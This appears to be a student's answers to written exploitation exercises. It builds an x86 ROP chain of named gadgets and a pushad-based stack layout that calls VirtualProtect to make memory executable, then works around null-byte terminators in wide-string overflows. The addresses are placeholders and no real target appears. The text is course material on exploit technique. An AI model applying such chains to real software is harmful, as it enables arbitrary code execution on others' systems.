Dry:

Dry section (1)

The opcode for pushad is 0x60. We can probably find a combination of {0x60, ret} as 0x60 could be the end of the previous command.

In addition, we don't have to find the ret instruction itself. Every combination of {0x60, 0xc3}, even in the middle of some instruction, will suffice.

Dry section (2)

1) First of all, let give names to the gadgets. We will create new gadgets by referring to addresses in the middle of existing gadgets.

```
Ggt_add_EAX_EBX_pop_EBX_ECX_EBX:
        add eax,ebx
        pop ebx
Ggt_pop_ECX_EBX:
        pop ecx
Ggt_pop_EBX:
        pop ebx
        ret
------------------------------------
Gdt_mov_EAX_0:
        xor eax,eax
        ret
------------------------------------
Gdt_add_EAX_0xA_mov_ECX_EAX:
        mov ecx, eax
        add ecx, 0Ah
        mov eax, ecx
        ret
------------------------------------
Gdt_inc_EAX:
        inc eax
        ret
------------------------------------
Gdt_pop_EBX_EBP:
        pop ebx
Gdt_pop_EBP:
        pop ebp
        ret
------------------------------------
Gdt_mov_EAX_addr_EAX_plus_0xF:
        mov eax, DWORD PTR [eax+0Fh]
        ret
------------------------------------
Gdt_pop_EDI:
        pop edi
        ret
------------------------------------
Gdt_pushad:
        pushad
        ret
```

We will describe the stack starting from the upper addresses and walk our way down. The **(purple)** syntax lines are gadgets to be executed, the (blue) syntax are comments, while all the other lines are data.

Comment: Let's first calculate the address of the object ➔ [0x70707070]	
Gdt_mov_EAX_0	EAX <= 0
Gdt_pop_EBX_EBP	
0x70707070 – 0xF	EBX <= 0x70707070 – 0xF
0xDEADBEAF	EBP <= 0xDEADBEAF
Ggt_add_EAX_EBX_pop_EBX_ECX_EBX	EAX <= 0x70707070 – 0xF
0xDEADBEAF	EBP <= 0xDEADBEAF
0xDEADBEAF	ECP <= 0xDEADBEAF
0xDEADBEAF	EBP <= 0xDEADBEAF
Gdt_mov_EAX_addr_EAX_plus_0xF	EAX <= [0x70707070 – 0xF + 0xF] ➔ EAX <= [0x70707070]
EAX now contains the address of the object. But the address of the page is located in offset 27 to the current value of EAX. So we will now calculate EAX += 27	
Gdt_add_EAX_0xA_mov_ECX_EAX	EAX <= [0x70707070] + 10
Gdt_add_EAX_0xA_mov_ECX_EAX	EAX <= [0x70707070] + 20
Gdt_inc_EAX	EAX <= [0x70707070] + 21
Gdt_inc_EAX	EAX <= [0x70707070] + 22
Gdt_inc_EAX	EAX <= [0x70707070] + 23
Gdt_inc_EAX	EAX <= [0x70707070] + 24
Gdt_inc_EAX	EAX <= [0x70707070] + 25
Gdt_inc_EAX	EAX <= [0x70707070] + 26
Gdt_inc_EAX	EAX <= [0x70707070] + 27

Now we need to create a legal call scenario for VirtualProtect with the following arguments:

```
VirtualProtect(
  lpAddress = [0x70707070] + 27, //  page address
  dwSize = 0x1000,               //  page Size
  flNewProtect = 0x40            // PAGE_EXECUTE_READWRITE permission
  lpflOldProtect = 0x22334400); // Some legal address to write
```

We need to build the following stack (from high to low addresses):

1. VirtualProtect Address
2. [0x70707070] + 27
3. [0x70707070] + 27
4. 0x1000
5. 0x40
6. 0x22334400.

Currently we know that EAX contain the page address ([0x70707070] + 27).

Ggt_pop_ECX_EBX	
Gdt_pushad	ECX <= Gdt_pushad
VirtualProtect	EBX <= VirtualProtect
Gdt_pop_EBP	
Ggt_pop_EBX_ECX_EBX	EBP <= Ggt_pop_EBX_ECX_EBX
Gdt_pop_EDI	
Gdt_pop_EBX	EDI <= Gdt_pop_EBX
Gdt_pushad	
0x1000	Page size
0x40	PAGE_EXECUTE_READWRITE permission
0x22334400	An address with write permission

Before reaching the last **Gdt_pushad** gadget location, the registers will holds the following values:

EAX = [0x70707070] + 27

ECX = **Gdt_pushad**

EBP = **Ggt_pop_EBX_ECX_EBX**

EBX = VirtualProtect

EDI = **Gdt_pop_EBX**

After executing the Gdt_pushad, the stack will look as follows:

Gdt_pop_EBX	
Don't care	EBP <= Don't care
Ggt_pop_EBX_ECX_EBX	
Don't care	EBX <= Don't care
VirtualProtect	ECX <= VirtualProtect
Don't care	EBX <= Don't care
Gdt_pushad	
[0x70707070] + 27	
0x1000	Page size
0x40	PAGE_EXECUTE_READWRITE permission
0x22334400	An address with write permission

After executing Gdt_pushad the second time, the stack will look like this:

Gdt_pop_EBX	
Don't care	
Ggt_pop_EBX_ECX_EBX	EBP <= Don't care
Don't care	
Don't care	EBX <= Don't care
Don't care	ECX <= VirtualProtect
VirtualProtect	EBX <= Don't care
[0x70707070] + 27	
[0x70707070] + 27	
0x1000	Page size
0x40	PAGE_EXECUTE_READWRITE permission
0x22334400	An address with write permission

After executing the two gadgets above, the EIP will point at virtual protect, where the return address is [0x70707070] + 27 and the VirtualProtect arguments are arranged in the following way:

```
lpAddress = [0x70707070] + 27, //  page address
dwSize = 0x1000,               //  page Size
flNewProtect = 0x40            // PAGE_EXECUTE_READWRITE permission
lpflOldProtect = 0x22334400)// Some legal address to write
```

Dry section (3)

The ROP chain will not work in this case because some of the data in the stack contain the bytes sequence: {0x00,0x00}. For wide characters strings, the {0x00,0x00} sequence is a string terminator, thus will not allow an attacker to continue to write to the stack.

In our case, the data 0x00000040 (permission flags) and 0x00001000 (size) will act as string terminators.

Dry section (4)

1) Instead of the original value we could insert the value: -0x0001000, which is 0xFFFFF000. Then will insert the **gadget Gdg_neg** right before the **Gst_pushad** in the original stack. When it is executed, it will negate 0xFFFFF000 to the correct value 0x0001000. We could also change the

size parameter to 0x00011000 and receive read\write\execute permission to more pages than we need.

2) There isn't a way to use the new gadgets to manipulate the 0x00000040 permission value without breaking our gadgets sequence. Instead, we can use the PAGE_TARGETS_NO_UPDATE flag (0x40000000). We first assume that the original page was allocated without using the PAGE_TARGETS_INVALID flag. So, changing permission while using the PAGE_TARGETS_NO_UPDATE will not have an effect. We can now send the flag parameter 0x40000040 as a valid parameter that will not act as a wide-character string terminator.